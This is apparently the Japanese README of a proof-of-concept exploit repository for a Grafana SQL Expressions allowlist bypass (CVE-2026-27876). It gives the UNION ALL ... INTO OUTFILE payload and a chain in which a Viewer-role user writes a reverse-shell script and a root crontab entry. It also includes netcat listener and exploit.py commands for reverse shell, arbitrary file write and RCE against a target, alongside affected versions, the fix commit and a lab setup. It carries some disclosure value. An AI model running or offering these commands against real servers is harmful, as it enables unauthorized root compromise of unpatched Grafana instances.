
Grafana SQL式の任意ファイル書き込みからRCEへ
CVSS 9.1 Critical | 任意ファイル書き込み | リモートコード実行
https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56
GrafanaのSQL式機能(sqlExpressionsトグル)は、プロセス内SQLエンジン(dolthub/go-mysql-server)を使用しており、AST許可リストに欠陥があります。SetOpノード(UNION ALL)は検証を通過し、そのwalkSubtree()はInto子ノードを走査しません。これにより、INTO OUTFILEを使用してGrafanaプロセスユーザーとしてサーバーファイルシステムに任意のファイルを書き込むことが可能になります。
認証済みユーザー(Viewerロール以上)は、これをcronベースのリバースシェルによる完全なRCEに連鎖させることができます。
| 範囲 | 影響あり | 修正済み |
|---|---|---|
| 11.6.x | 11.6.0 – 11.6.13 | 11.6.14 |
| 12.0.x – 12.1.x | 12.0.0 – 12.1.9 | 12.1.10 |
| 12.2.x | 12.2.0 – 12.2.7 | 12.2.8 |
| 12.3.x | 12.3.0 – 12.3.5 | 12.3.6 |
| 12.4.x | 12.4.0 – 12.4.1 | 12.4.2 |
sqlExpressions機能トグルを有効にする必要があります。
pkg/expr/sql/における2つの複合的な欠陥:
parser_allow.go: allowedNode()は名前付き戻り値b = trueを使用します。*sqlparser.SetOpケースはtrue(許可)を返し、SetOp.walkSubtree()はInto子ノードを走査しません。つまり、UNION ALL ... INTO OUTFILEは許可リストを完全にバイパスします。
db.go: SQLエンジンコンテキストがWithDisableFileWrites(true)なしで作成されるため、INTO OUTFILEがディスクに書き込みます。
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'
単一の(SELECT ...) INTO OUTFILEはParenSelectノードを生成し、これはブロックされます。UNION ALLで結合された2つ以上のSELECT部分はSetOpノードを生成し、チェックをバイパスします。
1. 認証(Viewerロールで十分)
2. __expr__データソース、type "sql"でPOST /api/ds/query
3. UNION ALL INTO OUTFILEでリバースシェルスクリプトを/tmp/に書き込み
4. 2回目の書き込みでcronエントリを/etc/crontabs/rootに配置
5. cronが60秒以内に発火 -> rootとしてリバースシェル
cd lab/
docker compose up -d
# Grafanaが正常になるまで待機(約15秒)
Grafanaはhttp://localhost:3333で実行され、認証情報はadmin:adminです。
ターミナル1 — リスナー:
nc -lvnp 4444
ターミナル2 — エクスプロイト:
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444
リバースシェルは60秒以内に接続されます。
# ターゲットが脆弱かどうかを確認(書き込みなし)
python3 exploit.py -t http://TARGET:3000 --check
# 任意のファイルを書き込み
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"
# ローカルファイルをターゲットに書き込み
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt
# データソースプロビジョニングによるRCE(cron不要)
python3 exploit.py -t http://TARGET:3000 --rce
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh
以前の実行後にエクスプロイトを再実行するには、まずクリーンアップしてください — INTO OUTFILEは既存のファイルを上書きできません。
コミット0e5d9e01ef31f072fd41626cd744699374e70127(PR #121514):
parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nilparser_allow.go: case *sqlparser.Into: return v == nildb.go: mysql.WithDisableFileWrites(true).
├── README.md
├── analysis.md # 根本原因の完全な分析
├── lab/
│ ├── docker-compose.yml # Grafana 12.4.0ラボ(確認済み)
│ ├── Dockerfile # cronサポート付きカスタムイメージ
│ ├── entrypoint.sh # crond + Grafanaを起動
│ └── setup.sh # 自動セットアップスクリプト
└── poc/
├── exploit.py # RCE付き完全なPoC
└── cvss-justification.md
認可されたセキュリティ研究および管理されたラボテスト専用です。明示的な許可なくシステムに対して使用しないでください。